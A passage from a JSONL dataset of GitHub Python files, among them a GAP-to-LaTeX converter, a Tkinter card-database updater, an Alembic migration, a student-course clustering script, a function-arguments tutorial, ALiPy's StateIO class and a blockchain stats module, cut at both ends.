_handle_timeout(signum, frame):\n raise TimeoutError(error_message)\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n signal.signal(signal.SIGALRM, _handle_timeout)\n signal.setitimer(signal.ITIMER_REAL, time)\n try:\n result = func(*args, **kwargs)\n finally:\n signal.setitimer(signal.ITIMER_REAL, 0)\n return result\n\n return wrapper\n\n return decorator\n\n# ---------------------- #\n# Write and Read Helpers #\n# ---------------------- #\n\ndef writeline(stdin, line):\n stdin.write(line)\n stdin.flush()\n\n# Try to read new lines until TIMEOUT is detected for a single line.\n# Blocks all subsequent code while running.\ndef readlines(stdout, outfile):\n # read first line definitely\n readline(stdout, outfile)\n # try to read more lines\n try:\n while True:\n readlineWithTimeout(stdout, outfile)\n except TimeoutError as exc:\n pass\n\ndef readline(stdout, outfile):\n outfile.write(stdout.readline())\n\n@timeout(TIMEOUT)\ndef readlineWithTimeout(stdout, outfile):\n return readline(stdout, outfile)\n\n###################\n # ------------- #\n # Main Function #\n # ------------- #\n###################\n\nfor FILE in [f for f in os.listdir(IN) if os.path.isfile(os.path.join(IN, f))] :\n\n # Declare input and output files\n GAPFILE = '%s/%s' % (IN, FILE)\n LATEXFILE = '%s/%s' % (OUT, FILE.split('.')[0]+'.tex')\n\n # Start GAP\n proc = Popen([GAP, '-q', '-o', MEMORY], stdin=PIPE, stdout=PIPE, stderr=STDOUT,encoding='utf8')\n\n # For some reason, the first command outputs an additional empty line at the beginning\n with open(DUMPFILE, mode='w') as dumpfile:\n writeline(proc.stdin, '\"Start GAP\";\\n')\n # Some people might configure GAP to load additional packages etc.\n # which might produce additional output on startup.\n time.sleep(DELAY)\n readlines(proc.stdout, dumpfile)\n\n # Main communication with GAP\n with open(GAPFILE, mode='r') as infile, open(TMPFILE, mode='a') as outfile:\n inline = ''\n for line in infile:\n # Last line may not contain a linebreak\n if line[-1] != '\\n':\n line += '\\n'\n inline += line\n # Empty or Comment\n if inline[0] == '\\n' or inline[0] == '#':\n outfile.write(inline)\n inline = ''\n # Command\n elif inline[-2] == ';':\n # Split line into chunks\n inchunks = [chunk+'\\n' for chunk in inline.split('\\n') if chunk]\n # Write GAP input\n outfile.write('gap> %s' % inchunks[0])\n for i in range(1, len(inchunks)):\n outfile.write('> %s' % inchunks[i])\n\n # Execute GAP input\n writeline(proc.stdin, inline)\n # Write GAP output\n if inline[-3] != ';':\n readlines(proc.stdout, outfile)\n\n inline = ''\n\n # Create LaTeX file with GAPDoc\n writeline(proc.stdin, 'r := rec(content := ReadAll(InputTextFile(\"%s\")), name := \"Example\");;\\n' % TMPFILE)\n writeline(proc.stdin, 'str := \"\";;\\n')\n writeline(proc.stdin, 'GAPDoc2LaTeXProcs.Example(r, str);;\\n')\n writeline(proc.stdin, 'stream := OutputTextFile(\"%s\", false);;\\n' % LATEXFILE)\n writeline(proc.stdin, 'SetPrintFormattingStatus(stream, false);;\\n')\n writeline(proc.stdin, 'PrintTo(stream, str);;\\n')\n\n # Wait for GAP to finish before proceeding\n with open(DUMPFILE, mode='w') as dumpfile:\n writeline(proc.stdin, '\"Quit GAP\";\\n')\n readline(proc.stdout, dumpfile)\n\n# -------- #\n# Clean Up #\n# -------- #\n\nif os.path.exists(TMPFILE):\n os.remove(TMPFILE)\n\nif os.path.exists(DUMPFILE):\n os.remove(DUMPFILE)\n","repo_name":"lbfm-rwth/GapToTex","sub_path":"GapToTex.py","file_name":"GapToTex.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"18979040272","text":"import json\nimport Sql\nfrom tkinter import ttk\nimport tkinter as tk\nfrom tkinter.filedialog import askopenfile\n\n\n# class to create the update tab of the application to update the All printings database\nclass UpdateTab:\n def __init__(self, tab_control): # needs the tab control to add tab to window\n self.frame = ttk.Frame(tab_control) # create a frame for the widgets\n\n # create variables for later and give default values\n self.file_path = ''\n self.data = ''\n\n # create widgets\n self.file_label = tk.Label(\n self.frame,\n text='Upload AllPrintings JSON File'\n )\n self.file_label.grid(row=0, column=0, padx=10)\n\n self.file_upload_button = tk.Button(\n self.frame,\n text='Choose File',\n command=lambda: self.open_file()\n )\n self.file_upload_button.grid(row=0, column=1)\n\n self.upload_button = tk.Button(self.frame, text='Update', command=self.update)\n\n # create label for updating the user on whats processing\n self.file_status_label = tk.Label(self.frame, text='Waiting...')\n self.file_status_label.grid(row=1, column=1)\n\n # asdf\n def update(self):\n print('uploading')\n\n # update the status widget\n self.file_status_label.config(text='Updating...')\n\n # create a progress bar to show status of the update\n progress = ttk.Progressbar(self.frame, orient=tk.HORIZONTAL,\n length=100, mode='determinate')\n progress.grid(row=0, column=3, padx=6)\n progress['value'] = 0\n\n self.frame.update_idletasks() # update the progress bar\n\n all_printings = json.loads(self.data)['data'] # get the JSON data from the file data\n set_keys = list(all_printings.keys()) # data is keyed by sets so get the keys\n\n # get length\n total = 0\n for set_key in set_keys:\n set_ = all_printings[set_key]\n for card in set_['cards']:\n total = total+1\n\n # start querying\n connection = Sql.get_connection()\n\n table = 'mtg.all_printings' # table containing the data for all printings\n\n # get the names of all the cards that are currently stored in the database\n data = Sql.read_query(connection, 'SELECT * FROM ' + table + ';')\n names = []\n for element in data:\n names.append(element[1])\n\n # store new cards\n count = 0\n for set_key in set_keys:\n set_ = all_printings[set_key]\n\n for card in set_['cards']:\n\n count = count + 1\n\n # update progress bar if multiple of 5\n progress_value = int(count/total*100)\n print(progress_value)\n if progress_value % 5:\n progress['value'] = progress_value\n self.frame.update_idletasks()\n\n # replace all \" chars in card names with a # so they don't interfere with SQL queries\n while \"\\\"\" in card['name']:\n card['name'] = card['name'].replace(\"\\\"\", \"#\")\n\n # if the current card read from the JSON data is not already in the database then add it\n if card['name'] not in names:\n print(card['name'])\n Sql.store_card(card, 'mtg.all_printings', connection)\n\n # once finished update the status label to tell the user\n self.file_status_label.config(text='Done!')\n\n # function to read in the JSON file and extract the data\n def open_file(self):\n self.file_path = askopenfile(mode='r', filetypes=[('JSON Files', '*json')]) # prompt user for the JSON file\n\n if self.file_path is not None:\n try:\n with open('card_reader/AllPrintings.json', 'r', encoding=\"utf8\") as myfile:\n self.data = myfile.read()\n self.file_status_label.config(text='File Uploaded!')\n\n # give the user the update button once the file is read in\n self.upload_button.grid(row=0, column=2, sticky=tk.W, pady=4)\n except:\n print('ERROR: Could not read file')\n else:\n print('ERROR: File not uploaded correctly')\n","repo_name":"devinborchard/MTG-card-reader","sub_path":"Update.py","file_name":"Update.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70713444587","text":"\"\"\"Case-insensitive callsigns\n\nRevision ID: 28f5d71c07f\nRevises: 4573ad42e11\nCreate Date: 2015-01-05 14:09:32.827122\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = \"28f5d71c07f\"\ndown_revision = \"4573ad42e11\"\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n # Replace players callsign unique constraint with case insensitive index\n op.drop_constraint(\"players_callsign_key\", \"players\", type_=\"unique\")\n op.create_index(\"ix_players_callsign\", \"players\", [sa.text(\"lower(callsign)\")], unique=True)\n\n\ndef downgrade():\n # Replace players callsign case insensitive index with unique constraint\n op.drop_index(\"ix_players_callsign\", table_name=\"players\")\n op.create_unique_constraint(\"players_callsign_key\", \"players\", [\"callsign\"])\n","repo_name":"ashfire908/hawken-tracker","sub_path":"hawkentracker/alembic/versions/28f5d71c07f_case_insensitive_callsigns.py","file_name":"28f5d71c07f_case_insensitive_callsigns.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"29565672524","text":"import func\nimport pickle\nimport numpy as np\nimport json\nfrom wordcloud import WordCloud\nimport PIL.Image as image\nimport matplotlib.pyplot as plt\nimport os\n\nfrom sklearn.cluster import SpectralClustering\nfrom sklearn.cluster import KMeans\n\n##############################\nNumber_Of_Cluster = 40\n\nskip_year_sem = None ## for eval mode\nskip_year_sem = {\n 'year':109,\n 'semester':1\n} ## for test mode\n##############################\n\ndef show_cluster_res(data, std_list, cluster, num_to_cos, method):\n clu_stds_list = []\n clu_cos_idx_list = []\n for clu_idx in range(cluster.labels_.max()+1):\n clu_cos_idx_list.append([])\n\n idx = np.where(cluster.labels_ == clu_idx)\n clu_stds_list.append(std_list[idx].tolist())\n cos_list = []\n sum_data = data[idx].sum(axis=0)\n cos_idxes = np.where(sum_data > 0)\n for cos_idx in cos_idxes[0]:\n clu_cos_idx_list[-1].append((str(cos_idx), float(sum_data[cos_idx])))\n cos_list.extend([num_to_cos[cos_idx]]*int(sum_data[cos_idx]))\n\n clu_cos_idx_list[-1].sort(key = lambda x: x[1], reverse=True)\n if not cos_list:\n continue\n ##############################################\n res = dict()\n for idx, (stds, coses) in enumerate(zip(clu_stds_list, clu_cos_idx_list)):\n for std in stds:\n res[std] = coses\n ###########################\n if not os.path.isdir('./res'):\n os.mkdir('./res')\n\n std_cnt = [len(stds) for stds in clu_stds_list]\n plt.bar(range(len(std_cnt)), std_cnt)\n plt.xlabel('Cluster Idx')\n plt.ylabel('Student Number')\n plt.title(f'{method} Student Number')\n plt.savefig(f'res/{method}.png')\n plt.close()\n ###########################\n with open(f'res/{method}.json', 'w') as f:\n json.dump(res, f, indent=4)\n\nall_student = func.Student_fromScore()\nall_cos = func.findAllCos()\ncos_to_num = {}\nnum_to_cos = {}\nwith open('cos_to_num.json', 'w') as f1, open('num_to_cos.json', 'w') as f2:\n for i in range(len(all_cos)):\n cos_to_num[all_cos[i]] = i\n num_to_cos[i] = all_cos[i]\n json.dump(cos_to_num, f1, indent=4, ensure_ascii=False)\n json.dump(num_to_cos, f2, indent=4, ensure_ascii=False)\n\nscore = func.findGrads(all_student, all_cos, skip_year_sem)\ndata = np.stack([i['data'] for i in score])\nstd_list = np.stack([i['std_id'] for i in score])\nprint('Spectral Clustering')\nclustering = SpectralClustering(n_clusters=Number_Of_Cluster, affinity='nearest_neighbors').fit(data)\nshow_cluster_res(data, std_list, clustering, num_to_cos, method='Spectral')\n\nprint('KMeans')\nclustering = KMeans(n_clusters=Number_Of_Cluster, algorithm='full', max_iter=1000).fit(data)\nshow_cluster_res(data, std_list, clustering, num_to_cos, method='KMean')\n\n##############################\n## Store the courses students have enrolled\nres = dict()\nfor item in score:\n cos_idxes = np.where(item['data'] != 0)[0].tolist()\n res[str(item['std_id'])] = []\n for idx in cos_idxes:\n res[str(item['std_id'])].append(num_to_cos[idx])\nwith open('std_cos_record.json', 'w', encoding='UTF-8') as f:\n json.dump(res, f, indent=4)\n\n##############################\n## Hot Course\nsum_res = data.sum(axis=0)\ncos_idxes = np.where(sum_res > 0)\norder = [(cos_id, score) for cos_id, score in zip(cos_idxes[0], sum_res[cos_idxes])]\norder.sort(key=lambda x: x[1], reverse=True)\nres = [str(item[0]) for item in order]\nwith open('hot_cos.json', 'w') as f:\n json.dump(res, f, indent=4)","repo_name":"NCTU-dinodino/Database","sub_path":"CA_RS/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23908414161","text":"#positional arguments\n\ndef describe_pet(animal_type, pet_name):\n \"\"\"Display information about a pet.\"\"\"\n print(f'\\nI have a {animal_type}')\n print(f\"My {animal_type}'s name is {pet_name.title()}.\")\n\ndescribe_pet('hamster', 'harry')\n\n#multiple function calls\ndescribe_pet('dog', 'willie')\n\n#mixing up order of positional arguments\ndescribe_pet('harry', 'hamster')\n\n#keyword arguments\ndescribe_pet(animal_type='hamster', pet_name='harry')\n\n#working with default values\ndef describe_pet_b(pet_name, animal_type='dog'):\n \"\"\"Display information about a pet.\"\"\"\n print(f'\\nI have a {animal_type}')\n print(f\"My {animal_type}'s name is {pet_name.title()}.\")\n\n#equivalent function calls\ndescribe_pet_b(pet_name='willie')\ndescribe_pet_b('willie')\n\ndescribe_pet_b('harry', 'hamster')\ndescribe_pet_b(pet_name='harry', animal_type='hamster')\ndescribe_pet_b( animal_type='hamster', pet_name='harry')\n\n#avoiding argument errors\n# describe_pet() --> missing required positional arguments\n","repo_name":"joshua-shorterivey/tutorial_python_crash_course","sub_path":"ch8_pets.py","file_name":"ch8_pets.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23647424982","text":"\"\"\"\nStateIO\nContainer to store state object.\nSeveral useful functions are implemented in this class:\n1. Saving intermediate results to files.\n2. Recover workspace at any iteration (label set and unlabel set).\n3. Recover workspace from the intermediate result file in case the program exits unexpectedly.\n4. Gathering and checking the information stored in State object.\n5. Print active learning progress: current_iteration, current_mean_performance, current_cost, etc.\n\"\"\"\n\n# Authors: Ying-Peng Tang\n# License: BSD 3 clause\n\nfrom __future__ import division\n\nimport collections.abc\nimport copy\nimport os\nimport pickle\nimport sys\n\nimport numpy as np\nimport prettytable as pt\n\nfrom .state import State\nfrom ..index import IndexCollection, MultiLabelIndexCollection\nfrom ..index.multi_label_tools import check_index_multilabel\nfrom ..utils.interface import BaseCollection\n\n__all__ = ['StateIO',\n ]\n\nclass StateIO:\n \"\"\"\n A class to store states.\n Functions including:\n 1. Saving intermediate results to files.\n 2. Recover workspace at any iteration (label set and unlabel set).\n 3. Recover workspace from the intermediate result file in case the program exits unexpectedly.\n 4. Gathering and checking the information stored in State object.\n 5. Print active learning progress: current_iteration, current_mean_performance, current_cost, etc.\n\n Parameters\n ----------\n round: int\n Number of k-fold experiments loop. 0 <= round < k\n\n train_idx: array_like\n Training index of one fold experiment.\n\n test_idx: array_like\n Testing index of one fold experiment.\n\n init_L: array_like\n Initial labeled index of one fold experiment.\n\n init_U: array_like\n Initial unlabeled index of one fold experiment.\n\n initial_point: object, optional (default=None)\n The performance before any querying.\n If not specify, the initial point of different methods will be different.\n\n saving_path: str, optional (default='.')\n Path to save the intermediate files. If None is given, it will\n not save the intermediate result.\n\n check_flag: bool, optional (default=True)\n Whether to check the validity of states.\n\n verbose: bool, optional (default=True)\n Whether to print query information during the AL process.\n\n print_interval: int optional (default=1)\n How many queries will trigger a print when verbose is True.\n \"\"\"\n\n def __init__(self, round, train_idx, test_idx, init_L, init_U, initial_point=None, saving_path=None,\n check_flag=True, verbose=True, print_interval=1):\n assert (isinstance(check_flag, bool))\n assert (isinstance(verbose, bool))\n self.__check_flag = check_flag\n self.__verbose = verbose\n self.__print_interval = print_interval\n if self.__check_flag:\n # check validity\n assert (isinstance(train_idx, collections.Iterable))\n assert (isinstance(test_idx, collections.Iterable))\n assert (isinstance(init_U, collections.Iterable))\n assert (isinstance(init_L, collections.Iterable))\n assert (isinstance(round, int) and round >= 0)\n\n self.round = round\n self.train_idx = copy.copy(train_idx)\n self.test_idx = copy.copy(test_idx)\n if isinstance(init_U, BaseCollection) and isinstance(init_L, BaseCollection):\n self.init_U = copy.deepcopy(init_U)\n self.init_L = copy.deepcopy(init_L)\n else:\n try:\n check_index_multilabel(init_L)\n check_index_multilabel(init_U)\n self.init_U = copy.deepcopy(MultiLabelIndexCollection(init_U))\n self.init_L = copy.deepcopy(MultiLabelIndexCollection(init_L))\n except TypeError:\n self.init_U = copy.deepcopy(IndexCollection(init_U))\n self.init_L = copy.deepcopy(IndexCollection(init_L))\n # self.init_U = copy.deepcopy(IndexCollection(init_U) if not isinstance(init_U, BaseCollection) else init_U)\n # self.init_L = copy.deepcopy(IndexCollection(init_L) if not isinstance(init_L, BaseCollection) else init_L)\n self.initial_point = initial_point\n self.batch_size = 0\n self.__state_list = []\n self._first_print = True\n self.cost_inall = 0\n self._numqdata = 0\n self._saving_file_name = 'AL_round_' + str(self.round) + '.pkl'\n self._saving_dir = None\n if saving_path is not None:\n if not isinstance(saving_path, str):\n raise TypeError(\"A string is expected, but received: %s\" % str(type(saving_path)))\n saving_path = os.path.abspath(saving_path)\n if os.path.isdir(saving_path):\n self._saving_dir = saving_path\n else:\n self._saving_dir, self._saving_file_name = os.path.split(saving_path)\n\n @classmethod\n def load(cls, path):\n \"\"\"Load StateIO object from file.\n\n Parameters\n ----------\n path: str\n The path should be a specific .pkl file.\n\n Returns\n -------\n object: StateIO\n The StateIO object in the file.\n \"\"\"\n f = open(os.path.abspath(path), 'rb')\n saver_from_file = pickle.load(f)\n f.close()\n return saver_from_file\n\n def set_initial_point(self, perf):\n \"\"\"The initial point of performance before querying.\n\n Parameters\n ----------\n perf: float\n The performance value.\n \"\"\"\n self.initial_point = perf\n\n def save(self):\n \"\"\"Saving intermediate results to file.\"\"\"\n if self._saving_dir is None:\n return\n f = open(os.path.join(self._saving_dir, self._saving_file_name), 'wb')\n pickle.dump(self, f)\n f.close()\n\n def add_state(self, state):\n \"\"\"Add a State object to the container.\n\n Parameters\n ----------\n state: {dict, State}\n State object to be added. Or a dictionary with\n the following keys: ['select_index', 'queried_info', 'performance']\n \"\"\"\n if not isinstance(state, State):\n assert isinstance(state, dict), \"state must be dict or State object.\"\n assert 'select_index' in state and 'queried_info' in state and 'performance' in state, \"The dict must contain the following keys: ['select_index', 'queried_info', 'performance']\"\n self.__state_list.append(copy.deepcopy(state))\n self.__update_info()\n\n if self.__verbose and len(self) % self.__print_interval == 0:\n if self._first_print:\n print('\\n' + self.__repr__(), end='')\n self._first_print = False\n else:\n print('\\r' + self._refresh_dataline(), end='')\n sys.stdout.flush()\n\n def get_state(self, index):\n \"\"\"Get a State object in the container.\n\n Parameters\n ----------\n index: int\n The index of the State object. 0 <= index < len(self)\n\n Returns\n -------\n st: State\n The State object in the previous iteration.\n \"\"\"\n assert (0 <= index < len(self))\n return copy.deepcopy(self.__state_list[index])\n\n def check_batch_size(self):\n \"\"\"Check if all queries have the same batch size.\n\n Returns\n -------\n result: bool\n Whether all the states have the same batch size.\n \"\"\"\n ind_uni = np.unique(\n [self.__state_list[i].batch_size for i in range(len(self.__state_list) - 1)], axis=0)\n if len(ind_uni) == 1:\n self.batch_size = ind_uni[0]\n return True\n else:\n return False\n\n def pop(self, i=None):\n \"\"\"remove and return item at index (default last).\"\"\"\n return self.__state_list.pop(i)\n\n def recover_workspace(self, iteration=None):\n \"\"\"Recover workspace after $iteration$ querying.\n For example, if 0 is given, the initial workspace without any querying will be recovered.\n Note that, the object itself will be recovered, the information after the iteration will be discarded.\n\n Parameters\n ----------\n iteration: int, optional(default=None)\n Number of iteration to recover, start from 0.\n If nothing given, it will return the current workspace.\n\n Returns\n -------\n train_idx: list\n Index of training set, shape like [n_training_samples]\n\n test_idx: list\n Index of testing set, shape like [n_testing_samples]\n\n label_idx: list\n Index of labeling set, shape like [n_labeling_samples]\n\n unlabel_idx: list\n Index of unlabeling set, shape like [n_unlabeling_samples]\n \"\"\"\n if iteration is None:\n iteration = len(self.__state_list)\n assert (0 <= iteration <= len(self))\n work_U = copy.deepcopy(self.init_U)\n work_L = copy.deepcopy(self.init_L)\n for i in range(iteration):\n state = self.__state_list[i]\n work_U.difference_update(state.get_value('select_index'))\n work_L.update(state.get_value('select_index'))\n self.__state_list = self.__state_list[0:iteration]\n return copy.copy(self.train_idx), copy.copy(self.test_idx), copy.deepcopy(work_L), copy.deepcopy(work_U)\n\n def get_workspace(self, iteration=None):\n \"\"\"Get workspace after $iteration$ querying.\n For example, if 0 is given, the initial workspace without any querying will be recovered.\n\n Parameters\n ----------\n iteration: int, optional(default=None)\n Number of iteration, start from 0.\n If nothing given, it will get the current workspace.\n\n Returns\n -------\n train_idx: list\n Index of training set, shape like [n_training_samples]\n\n test_idx: list\n Index of testing set, shape like [n_testing_samples]\n\n label_idx: list\n Index of labeling set, shape like [n_labeling_samples]\n\n unlabel_idx: list\n Index of unlabeling set, shape like [n_unlabeling_samples]\n \"\"\"\n if iteration is None:\n iteration = len(self.__state_list)\n assert (0 <= iteration <= len(self))\n work_U = copy.deepcopy(self.init_U)\n work_L = copy.deepcopy(self.init_L)\n for i in range(iteration):\n state = self.__state_list[i]\n work_U.difference_update(state.get_value('select_index'))\n work_L.update(state.get_value('select_index'))\n return copy.copy(self.train_idx), copy.copy(self.test_idx), copy.deepcopy(work_L), copy.deepcopy(work_U)\n\n def num_of_query(self):\n \"\"\"Return the number of queries\"\"\"\n return len(self.__state_list)\n\n def get_current_performance(self):\n \"\"\"Return the mean ± std performance of all existed states.\n\n Only available when the performance of each state is a single float value.\n\n Returns\n -------\n mean: float\n Mean performance of the existing states.\n\n std: float\n Std performance of the existing states.\n \"\"\"\n if len(self) == 0:\n return 0, 0\n else:\n tmp = [self[i].get_value('performance') for i in range(self.__len__())]\n if isinstance(tmp[0], collections.Iterable):\n return np.NaN, np.NaN\n else:\n return np.mean(tmp), np.std(tmp)\n\n def __len__(self):\n return len(self.__state_list)\n\n def __getitem__(self, item):\n return self.__state_list.__getitem__(item)\n\n def __contains__(self, other):\n return other in self.__state_list\n\n def __iter__(self):\n return iter(self.__state_list)\n\n def refresh_info(self):\n \"\"\"re-calculate current active learning progress.\"\"\"\n numqdata = 0\n cost = 0.0\n for state in self.__state_list:\n numqdata += len(state.get_value('select_index'))\n if 'cost' in state.keys():\n cost += np.sum(state.get_value('cost'))\n self.cost_inall = cost\n self._numqdata = numqdata\n return numqdata, cost\n\n def __update_info(self):\n \"\"\"Update current active learning progress\"\"\"\n state = self.__state_list[len(self) - 1]\n if 'cost' in state.keys():\n self.cost_inall += np.sum(state.get_value('cost'))\n self._numqdata += len(state.get_value('select_index'))\n\n def __repr__(self):\n numqdata = self._numqdata\n cost = self.cost_inall\n tb = pt.PrettyTable()\n tb.set_style(pt.MSWORD_FRIENDLY)\n tb.add_column('round', [self.round])\n tb.add_column('initially labeled data', [\n \" %d (%.2f%% of all)\" % (len(self.init_L), 100 * len(self.init_L) / (len(self.init_L) + len(self.init_U)))])\n tb.add_column('number of queries', [len(self.__state_list)])\n # tb.add_column('queried data', [\"%d (%.2f%% of unlabeled data)\" % (numqdata, self.queried_percentage)])\n tb.add_column('cost', [cost])\n # tb.add_column('saving path', [self._saving_dir])\n tb.add_column('Performance:', [\"%.3f ± %.2f\" % self.get_current_performance()])\n return str(tb)\n\n def _refresh_dataline(self):\n tb = self.__repr__()\n return tb.splitlines()[1]\n\n# class StateIO_all_labels(StateIO):\n# \"\"\"StateIO for all _labels querying\"\"\"\n# def add_state(self, state):\n# assert (isinstance(state, experiment_saver.state.State))\n# self.__state_list.append(copy.deepcopy(state))\n# if self.__check_flag:\n# res, err_st, err_ind = self.check_select_index()\n# if res == -1:\n# warnings.warn(\n# 'Checking validity fails, there is a queried instance not in set_U in '\n# 'State:%d, index:%s.' % (err_st, str(err_ind)),\n# category=ValidityWarning)\n# if res == -2:\n# warnings.warn('Checking validity fails, there are instances already queried '\n# 'in previous iteration in State:%d, index:%s.' % (err_st, str(err_ind)),\n# category=ValidityWarning)\n# self.__update_info()\n#\n#\n# if self.__verbose and len(self) % self.__print_interval == 0:\n# if self._first_print:\n# print('\\n' + self.__repr__(), end='')\n# self._first_print = False\n# else:\n# print('\\r' + self._refresh_dataline(), end='')\n# sys.stdout.flush()\n#\n# def check_select_index(self):\n# \"\"\"\n# check:\n# - Q has no repeating elements\n# - Q in U\n# Returns\n# -------\n# result: int\n# check result\n# - if -1 is returned, there is a queried instance not in U\n# - if -2 is returned, there are repeated instances in Q\n# - if 1 is returned, CHECK OK\n#\n# state_index: int\n# the state index when checking fails (start from 0)\n# if CHECK OK, None is returned.\n#\n# select_index: object\n# the select_index when checking fails.\n# if CHECK OK, None is returned.\n# \"\"\"\n# repeat_dict = dict()\n# ind = -1\n# for st in self.__state_list:\n# ind += 1\n# for instance in st.get_value('select_index'):\n# if instance not in self.init_U:\n# return -1, ind, instance\n# if instance not in repeat_dict.keys():\n# repeat_dict[instance] = 1\n# else:\n# return -2, ind, instance\n# return 1, None, None\n#\n# @property\n# def queried_percentage(self):\n# \"\"\"return the queried percentage of unlabeled data\"\"\"\n# return 100 * self._numqdata / len(self.init_U)\n","repo_name":"NUAA-AL/ALiPy","sub_path":"alipy/experiment/state_io.py","file_name":"state_io.py","file_ext":"py","file_size_in_byte":16023,"program_lang":"python","lang":"en","doc_type":"code","stars":836,"dataset":"github-code","pt":"37"} +{"seq_id":"70198706989","text":"from typing import Optional\n\nfrom aqueduct.constants.enums import ExecutionStatus, FailureType\nfrom pydantic import BaseModel\n\n\nclass Logs(BaseModel):\n stdout: str = \"\"\n stderr: str = \"\"\n\n def is_empty(self) -> bool:\n return self.stdout == \"\" and self.stderr == \"\"\n\n\nclass Error(BaseModel):\n context: str = \"\"\n tip: str = \"\"\n\n\nclass ExecutionState(BaseModel):\n user_logs: Optional[Logs] = None\n error: Optional[Error] = None\n status: ExecutionStatus = ExecutionStatus.UNKNOWN\n failure_type: Optional[FailureType] = None\n","repo_name":"aqueducthq/aqueduct","sub_path":"sdk/aqueduct/models/execution_state.py","file_name":"execution_state.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":488,"dataset":"github-code","pt":"37"} +{"seq_id":"41659554850","text":"import logging\nimport sys\nimport json\nfrom datetime import datetime, timedelta\n\nfrom google.appengine.ext import ndb\n\nfrom flask import request\nfrom flask import g\n\nfrom stats import realtime\n\nEXCLUDED_PROPERTIES = [\"date\"]\n\"\"\"\nPROPERTIES = [\n \"max_id\",\n \"min_id\",\n \"block_count\",\n \"max_size\",\n \"max_difficulty\",\n \"max_fee_per_kb_usd\",\n 'sum_transaction_count',\n 'sum_input_count', \n 'sum_output_count',\n 'sum_input_total_usd',\n 'sum_output_total_usd',\n 'sum_fee_total_usd',\n 'sum_cdd_total',\n 'sum_generation_usd',\n 'sum_reward_usd',\n\n 'max_price_usd',\n 'min_price_usd',\n 'max_24h_volume_usd',\n 'max_volume_usd',\n \n 'supply',\n 'market_cap',\n 'sum_transaction_count_square',\n]\n\"\"\"\n\nfrom stats.blockchair import BlockchairBitcoin, BlockchairBitcoinCash\nfrom stats.coinmarketcap import CoinmarketcapBitcoin, CoinmarketcapBitcoinCash\n\n\nclass DayStats(ndb.Expando):\n COIN = \"bitcoin\"\n BLOCKCHAIR = BlockchairBitcoin\n COINMARKETCAP = CoinmarketcapBitcoin\n\n date = ndb.StringProperty()\n \n @classmethod\n def update(cls, coin=\"bitcoin\", next=None):\n if request.values.get(\"calc_extra\"):\n from stats.calc import calc_extra_attrs\n date = \"2013-01-01\" \n objs = cls.query(cls.date > date).order(cls.date).fetch(10000)\n for obj in objs:\n try:\n calc_extra_attrs(cls, obj.date)\n except:\n logging.error(\"extra: failed %s\" % obj.date)\n return \"extra\"\n \n ret = cls.BLOCKCHAIR().update(cls, next=next)\n \n if not next:\n try: \n if request.values.get(\"path\"):\n cls.COINMARKETCAP().update(cls, path=request.values.get(\"path\"))\n else:\n cls.COINMARKETCAP().update(cls, date=ret[\"date\"])\n \n except:\n logging.exception(\"coinmarketcap\")\n \n try:\n from stats.calc import calc_extra_attrs\n calc_extra_attrs(cls, ret[\"date\"])\n except:\n logging.exception(\"extra_attrs\")\n\n return ret\n \n @classmethod\n def get_data(cls, range=None):\n date_start = datetime.strptime(\"2013-01-01\", \"%Y-%m-%d\")\n date_end = datetime.now() - timedelta(days=g.user_model.get_actual_lag())\n if range == \"1w\":\n date_start = date_end - timedelta(days=7)\n if range == \"1m\":\n date_start = date_end - timedelta(days=30)\n if range == \"1y\":\n date_start = date_end - timedelta(days=365)\n \n date_start = date_start.strftime(\"%Y-%m-%d\")\n date_end = date_end.strftime(\"%Y-%m-%d\")\n \n objs = cls.query(cls.date >= date_start, cls.date <= date_end).order(cls.date).fetch(10000)\n PROPERTIES = set()\n for obj in objs:\n PROPERTIES = PROPERTIES.union(obj._properties.keys())\n PROPERTIES = PROPERTIES - set(EXCLUDED_PROPERTIES)\n PROPERTIES = sorted(list(PROPERTIES))\n result = {\n \"labels\": PROPERTIES,\n \"data\": [[] for x in PROPERTIES],\n \"realtime\": realtime.get_data(cls),\n }\n if not objs:\n return result\n \n \n for obj in objs:\n data = result[\"data\"]\n for id, prop in enumerate(PROPERTIES):\n data[id].append([obj.date, getattr(obj, prop, 0)])\n \n return result\n \nclass DayStatsBCH(DayStats):\n COIN = \"bitcoin-cash\"\n BLOCKCHAIR = BlockchairBitcoinCash\n COINMARKETCAP = CoinmarketcapBitcoinCash\n\n","repo_name":"phabulu/operation-dragonslayer.com","sub_path":"charts.py","file_name":"charts.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8615479178","text":"# _*_ coding: utf-8 _*_\n# @Time : 2023/8/10 \n# @Author: 啊炜\n# @Project: pythonLearn\n\n\ndef firstdef(a:int,b:int):\n c = a + b\n print(c)\n return c\nb = 333\nd = firstdef(1,b)\n\nprint(d)","repo_name":"IChengLiWei/studyFirstPython","sub_path":"pythonFile/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1093865174","text":"from tkinter.constants import COMMAND, RIDGE\r\nfrom nanoleafapi import nanoleaf\r\nfrom nanoleafapi import RED, ORANGE, YELLOW, GREEN, LIGHT_BLUE, BLUE, PINK, PURPLE, WHITE\r\nimport time\r\nimport tkinter as tk\r\nfrom tkinter import Canvas, Frame, Label, filedialog, Text\r\nimport os\r\n\r\nnl = nanoleaf.Nanoleaf(\"192.168.1.117\")\r\nroot = tk.Tk()\r\nroot.resizable(height=True, width=True)\r\n#root.minsize(height=600, 